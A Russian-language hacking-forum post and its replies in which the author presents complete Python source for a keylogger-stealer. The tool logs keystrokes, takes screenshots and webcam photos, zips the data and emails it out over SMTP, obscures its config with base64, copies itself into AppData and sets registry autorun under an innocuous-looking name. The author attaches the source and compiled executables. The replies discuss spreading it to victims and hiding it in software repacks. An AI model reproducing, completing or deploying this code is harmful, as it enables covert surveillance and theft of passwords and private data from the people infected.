• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Python Black Python 8. Full Keylogger

gh0st4ge

Местный
Сообщения
40
Реакции
86
0 руб.
Салют, исследователи темной стороны интернета!
photo_2018-12-10_19-20-09.jpg
Несколько дней готовил для тебя очень вкусную статью, на основе нашего keylogger модуля, который выполняет задачи полноценного стиллера. Кушать подано, приятного аппетита!

Описание полноценного кейлоггера:
  • Отправка данных по электронной почте
  • Прикрепление к письму скриншота и снимка с веб-камеры.
  • Два режима сбора данных:
    • отправка каждые limit клавиш и
    • отправка собранных данных при запуске программы.
  • Шифрование конфигурации
  • Копирование exe и конфигурации в папку appdata\local
  • Добавление программы в автозагрузку

Как видите, функционал keylogger'а напоминает (s)AINT, однако, как бы нескромно ни звучало, заметил пару отличительных от (s)AINT моментов в реализации:
  • Если в тему письма входит подстрока 'node_os', то в почтовом клиенте удобно проводить мониторинг входящих, если кейлоггер используется на нескольких машинах.
  • Легкая возможность масштабирования проекта - дополнительные модули прописывать в FullKeyLogger.__init__, загрузка конфигурации(если требуется) - FullKeyLogger.load_config

К минусу (в сравнении с (s)aint) относится конечный размер exe файла - 33 мб для версии со скриншотом и вебкамерой.

Для написания полноценного кейлогера будем использовать раннее написанные модули:
  • keylogger
  • mail
  • module_manager (webcam, screenshot)

Опишем основные функции для работы с модулем кейлоггера:
pip install keyboard opencv-python pillow
Python:
import os
import re
from additional import make_zip
from keylogger import key_logger_manager
from mail import mail_manager
from module_manager import webcam_manager, screenshot_manager

# упаковка логов и запуск модулей (вебкам, скриншот, отправка сообщения)
def collect_and_send():
    # Упаковываем созданные логи
    collect_logs(get_old_files(key_config['filename'], key_config['replace_part']), key_config['archive_log'])
    # Если упаковалось, то
    if os.path.exists(key_config['archive_log']):
        try:
            # снимок с вебкамеры
            webcam_manager(webcam_config)
        except:
            # игнорирование отсутствия библиотеки
            pass
        # делаем скрин и отсылку сообщения
        screenshot_manager(screenshot_config)
        mail_manager(mail_config)

# получаем список файлов для упаковки
def get_old_files(filename, replace_part):
    # задаем шаблон для подходящих файлов
    re_filename = rf"{os.path.basename(filename).replace(replace_part, '(.{1,3})')}"
    dir_logs = os.path.abspath(os.path.dirname(filename))
    # если папка существует,
    if os.path.exists(dir_logs):
        # то упаковываем
        return [os.path.join(dir_logs, file) for file in os.listdir(dir_logs) if re.fullmatch(re_filename, file)]
    return None

# упаковка логов из [files] в archive_log файл.
def collect_logs(files, archive_log):
    if files:
        make_zip(files=files, filename=archive_log)
        # удаление всех упакованных файлов
        for file in files:
            try:
                os.remove(file)
            except:
                pass

# Менеджер для full кейлоггера
def full_keylogger_manager():
    on_save = None
    # если режим отправки при запуске,
    if key_config['mode'] == 'launch':
        # то упаковываем и отправляем
        collect_and_send()
    # если режим отправки каждой части
    elif key_config['mode'] == 'every_part':
        # то назначаем событие упаковки-отправки на on_save
        on_save = collect_and_send
    # запускаем кейлогер с триггером на сохранение (None, collect_and_send)
    key_logger_manager(key_config, on_save)

if __name__ == '__main__':
    # archive_log - путь сохранения архива с логом
    # mode - every_part/launch режим сохранения логов
    key_config = {
        "filename": "key_logs\\keylogger_num.json",
        "replace_part": "num",
        "limit": 100,
        "archive_log": "result\\log.zip",
        "mode": "every_part",
    }
    webcam_config = {"filename": "result\\cam.png"}
    screenshot_config = {"filename": "result\\screenshot.png"}
    mail_config = {
        "config": {"host": "smtp.gmail.com", "port": [25, 587, 465]},
        "login_data": {"login": "", "password": ""},
        "mail": {"from": "", "to": "", "subject": "[node_os]", "message": "",
                 "attach": ["result\\log.zip", "result\\screenshot.png", "result\\cam.png"]}}
    try:
        full_keylogger_manager()
    except:
        pass

Выполнив код, и постучав по клавиатуре, получил письмо с пустым содержанием, с архивом логов и скрином. (web-камеры нет + virtual os)

Добавим к тексту сообщения содержание simple_log'ов:
Python:
def prepare_message():
    message = ''
    # для файлов, сохраняемым в функции simple_log
    for filename in [key_config['filename'], key_config['filename'].replace(key_config['replace_part'], 'alt')]:
        with open(filename, 'r') as simple_file:
            message = f'{message}\n{"-" * 25}\n{simple_file.read()}'
    mail_config['mail']['message'] = message

Конфигурацию нельзя хранить в открытом виде(в данном проете точно), поэтому их либо можно держать в коде, и тогда при компиляции они будут скрыты в exe, а можно держать конфиги в зашифрованном виде, для возможности смены настроек на лету.
Основные функции:
Python:
import base64
# зашифровать
crypt_config = base64.b64encode(bytes(json.dumps(config), 'utf-8'))
# расшифровать
config = json.loads(base64.b64decode(crypt_config))

# добавим функции для шифровки и расшифровки конфигов
def decode_config(in_filename=None, crypt_config=None):
    if in_filename:
        with open(in_filename, 'rb') as crypt_file:
            crypt_config = crypt_file.read()
    return json.loads(base64.b64decode(crypt_config))

def encode_config(config, out_filename=None):
    encoded = base64.b64encode(bytes(json.dumps(config), 'utf-8'))
    if out_filename:
        with open(out_filename, 'wb') as crypt_file:
            crypt_file.write(encoded)

Добавив интерфейс по работе из командной строкой, получим модуль:
Код:
import base64
import json
import sys
DEFAULT_CRYPT_NAME = 'config.crypt'
DEFAULT_DECRYPT_NAME = 'config.json'

def decode_config(in_filename=None, crypt_config=None):
    if in_filename:
        with open(in_filename, 'rb') as crypt_file:
            crypt_config = crypt_file.read()
    return json.loads(base64.b64decode(crypt_config))

def encode_config(config, out_filename=None):
    encoded = base64.b64encode(bytes(json.dumps(config), 'utf-8'))
    if out_filename:
        with open(out_filename, 'wb') as crypt_file:
            crypt_file.write(encoded)

def get_args():
    args = sys.argv[1:]
    if len(args) >= 3:
        mode, in_filename, out_filename = args[0], args[1], args[2]
    elif len(args) == 2:
        mode, in_filename = args[0], args[1]
        mode_set = {'encode': DEFAULT_CRYPT_NAME, 'decode': DEFAULT_DECRYPT_NAME}
        if mode in mode_set:
            out_filename = mode_set[mode]
        else:
            raise ValueError('Неизвестный режим')
    else:
        raise SyntaxError('Недостаточно данных')
    return mode, in_filename, out_filename

def base64_engine(mode, in_filename, out_filename):
    if mode == 'encode':
        with open(in_filename, 'r') as config_file:
            config = json.load(config_file)
        encode_config(config, out_filename)
    elif mode == 'decode':
        config = decode_config(in_filename)
        with open(out_filename, 'w') as config_file:
            json.dump(config, config_file)

def execute_from_args():
    try:
        mode, in_filename, out_filename = get_args()
        base64_engine(mode, in_filename, out_filename)
    except Exception as e:
        print(e)

if __name__ == '__main__':
    execute_from_args()

python config_encoder.py mode in_file out_file
Например:
python config_encoder.py encode config.json - шифровка
python config_encoder.py decode config.crypt - расшифровка

Теперь дополним модуль additional методами копирования файла в appdata\local, и добавление файла в автозагрузку (в реестр):
Код:
from winreg import OpenKey, HKEY_CURRENT_USER, KEY_ALL_ACCESS, SetValueEx, REG_SZ, CloseKey

def copy_to_local(filename, path=None):
    # Формируем путь к папке local
    target_path = os.path.join(os.path.expanduser('~'), 'appdata', 'Local')
    # если путь задан, то дополняем путь
    if path:
        target_path = os.path.join(target_path, path)
    # имя файла в который копировать
    target_file = os.path.join(target_path, os.path.basename(filename))
    make_folders(target_file)
    # копируем
    shutil.copy(filename, target_file)
    return target_file

def add_autorun(name, path):
    # Открываем ключ в нужном разделе
    key = OpenKey(HKEY_CURRENT_USER, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, KEY_ALL_ACCESS)
    # задаем значение
    SetValueEx(key, name, 0, REG_SZ, path)
    # закрываем ключ
    CloseKey(key)


Оформив все наработки в класс, получим:
Код:
import os
import re
import sys

from additional import make_zip, add_autorun, copy_to_local
from config_encoder import decode_config
from error_log import ErrorLog
from keylogger import key_logger_manager
from mail import mail_manager
from module_manager import screenshot_manager, webcam_manager

# имя для конфигурации
DEFAULT_CONFIG_NAME = 'config.crypt'

class FullKeyLogger:
    # при инициализации принимаем общий конфиг
    def __init__(self, global_config):
        self.error_log = ErrorLog()
        # разделяем конфиги
        self.key_config, self.mail_config, self.screen_config, self.webcam_config, self.autorun_config = \
            self.load_config(global_config, ['keylogger', 'mail', 'screenshot', 'webcam', 'autorun'])
        # сопоставляем конфиги и менеджеры
        self.module_set = [(self.screen_config, screenshot_manager), (self.webcam_config, webcam_manager),
                           (self.mail_config, mail_manager)]
        self.add_to_autorun()

    # добавление кейлоггера в автозапуск
    def add_to_autorun(self):
        try:
            if self.autorun_config['use']:
                # копирование файла конфига в локал
                copy_to_local(DEFAULT_CONFIG_NAME, self.autorun_config['name'])
                # добавление в автозапуск скопированного в локал exe
                add_autorun(self.autorun_config['name'],
                            copy_to_local(os.path.abspath(sys.argv[0]), self.autorun_config['name']))
        except Exception as e:
            self.error_log.add('Keylogger - (add to autorun)', e)

    # функция разделения конфигов
    @staticmethod
    def load_config(global_config, modules):
        configs = {}
        for config in modules:
            try:
                # для каждого модуля запоминаем свой конфиг
                configs[config] = global_config[config]
            except:
                configs[config] = None
        return configs['keylogger'], configs['mail'], configs['screenshot'], configs['webcam'], configs['autorun']

    @staticmethod
    def get_old_files(filename, replace_part):
        re_filename = rf"{os.path.basename(filename).replace(replace_part, '(.{1,3})')}"
        dir_logs = os.path.abspath(os.path.dirname(filename))
        if os.path.exists(dir_logs):
            return [os.path.join(dir_logs, file) for file in os.listdir(dir_logs) if re.fullmatch(re_filename, file)]
        return None

    @staticmethod
    def collect_logs(files, archive_log):
        if files:
            make_zip(files=files, filename=archive_log)
            for file in files:
                try:
                    os.remove(file)
                except:
                    pass

    def execute_modules(self):
        for module in self.module_set:
            try:
                if module[0]['use']:
                    module[1](module[0])
            except Exception as e:
                self.error_log.add('Keylogger - (execute module)', e)

    def collect_and_send(self):
        try:
            self.prepare_message()
            self.collect_logs(self.get_old_files(self.key_config['filename'], self.key_config['replace_part']),
                              self.key_config['archive_log'])
            if os.path.exists(self.key_config['archive_log']):
                self.execute_modules()
        except Exception as e:
            self.error_log.add('Keylogger - (collect and send)', e)
        self.error_log.save_log(self.key_config['error_log'])

    def prepare_message(self):
        try:
            message = ''
            for filename in [self.key_config['filename'],
                             self.key_config['filename'].replace(self.key_config['replace_part'], 'alt')]:
                try:
                    with open(filename, 'r') as simple_file:
                        message = f'{message}\n{"-" * 25}\n{simple_file.read()}'
                except:
                    pass
            self.mail_config['mail']['message'] = message
        except Exception as e:
            self.error_log.add('Keylogger - (prepare message)', e)

    def start(self):
        on_save = None
        if self.key_config['mode'] == 'launch':
            self.collect_and_send()
        elif self.key_config['mode'] == 'every_part':
            on_save = self.collect_and_send
        key_logger_manager(self.key_config, on_save)

def full_key_logger_manager():
    key_logger = FullKeyLogger(decode_config(DEFAULT_CONFIG_NAME))
    key_logger.start()

if __name__ == '__main__':
    try:
        full_key_logger_manager()
    except:
        pass
измените модуль кейколлекшн -> закомментируйте тело метода stop(замените на pass)


Пример расшифрованного конфига:
Код:
{
  "keylogger": {
    "filename": "key_logs\\keylogger_num.json", "replace_part": "num", "limit": 100,
    "archive_log": "result\\log.zip", "mode": "every_part", "error_log": "errors.log"},
  "autorun": {"use": true, "name": "keylogger"},
  "screenshot": {"use": true, "filename": "result\\screenshot.png"},
  "webcam": {"use": true, "filename": "result\\cam.png"},
  "mail": {
    "use": true,
    "config": {"host": "smtp.gmail.com", "port": [25, 587, 465]},
    "login_data": {"login": "", "password": ""},
    "mail": {
      "from": "", "to": "", "subject": "[node_os]", "message": "",
      "attach": ["result\\log.zip", "result\\screenshot.png", "result\\cam.png"]}
  }
}

  • Введите свои почтовые данные,
  • В mail->mail->attach не забудьте указать все файлы для прикрепления
  • Укажите keylogger->mode = (every_part/launch) - режим отправки данных каждой части или при запуске
  • Поменяйте (если требуется) autorun->name на ожидаемый ключ в реестре(например, securelib, и тд)
  • Для отключения дополнительного модуля, поменяйте значение 'use' на false.
  • Зашифруйте конфигурацию в файл DEFAULT_CONFIG_NAME.
python config_encode.py encode config.json config.crypt
Либо запустите файл make_config.bat из архива full_keylogger_exe

Вот так мы написали стиллер, собирающий нажатия клавиш, скриншот и снимок с веб-камеры, который может потягаться с известным стиллером (s)AINT (java).
Прикрепляю все полученные файлы:
  • full_keylogger_source - исходные коды
  • full_keylogger_exe (две части) - исполняемый файл стиллера, шаблон с конфигурацией(json), encoder.exe
 

Вложения

  • full_keylogger_exe.part1.rar
    19 MB · Просмотры: 246
  • full_keylogger_exe.part2.rar
    17,3 MB · Просмотры: 193
  • full_keyloger_source.rar
    8,5 KB · Просмотры: 196
Последнее редактирование:

CypherZ

Местный
Сообщения
176
Реакции
182
0 руб.
Telegram
Jabber
все конечно хорошо, но есть одно огромное НО
а распространять это тоже на юникс машины или на винду с предустановленным питоном и всеми либами, которые тянет твой код, или заранее просить жертву об этом?)
ну и конечно же 33 метра исходного файла с 0 обфускации на борту, что делает его просто мать его лакомым куском для декомпила в чужих руках .
вывод: не пишите дети малварь на питоне
 

gh0st4ge

Местный
Сообщения
40
Реакции
86
0 руб.
все конечно хорошо, но есть одно огромное НО
а распространять это тоже на юникс машины или на винду с предустановленным питоном и всеми либами, которые тянет твой код, или заранее просить жертву об этом?)
ну и конечно же 33 метра исходного файла с 0 обфускации на борту, что делает его просто мать его лакомым куском для декомпила в чужих руках .
вывод: не пишите дети малварь на питоне
Я специально обходил тему распространения, потому что это не входит в основную идею цикла статей black python, наверняка на этом форуме есть более авторитетные источники, которые вам об этом поведуют лучше меня. То же встраивание в репаки в многогиговые файлы. Да и насколько я знаю pyinstaller в эти 33 МБ подтягивает интерпретатор, так что должно работать на голой системе (в отличии от saint с его java)
По поводу платформы, изначально писал под линукс системой, но на этапе browser data модуля(из другой статьи) стали появляться чисто оконные методы. Да и спрос на подобный софт чаще именно для виндоус. А так модуль keylogger в финальной версии от sudo собирает клавиши и в линукс(вроде и в макосах).
 

CypherZ

Местный
Сообщения
176
Реакции
182
0 руб.
Telegram
Jabber
Я специально обходил тему распространения, потому что это не входит в основную идею цикла статей black python, наверняка на этом форуме есть более авторитетные источники, которые вам об этом поведуют лучше меня. То же встраивание в репаки в многогиговые файлы.
По поводу платформы, изначально писал под линукс системой, но на этапе browser data модуля(из другой статьи) стали появляться чисто оконные методы. Да и спрос на подобный софт чаще именно для виндоус. А так модуль keylogger в финальной версии от sudo собирает клавиши и в линукс(вроде и в макосах).
линуксами пользуются единицы, раз ты говоришь что спрос на данный софт больше на окна, тогда зачем писать то что не может пригодиться?
 

gh0st4ge

Местный
Сообщения
40
Реакции
86
0 руб.
линуксами пользуются единицы, раз ты говоришь что спрос на данный софт больше на окна, тогда зачем писать то что не может пригодиться?
??
Решения в данных статьях всегда подходили под виндоус, я сказал, что я разработку вел в линуксе и часть решений подходила для разных платформ, а на этапе выбора платформы между линукс и виндоус, делал упор на последнюю, если не было вариантов поддержки мультиплатформенности.
 
Сверху Снизу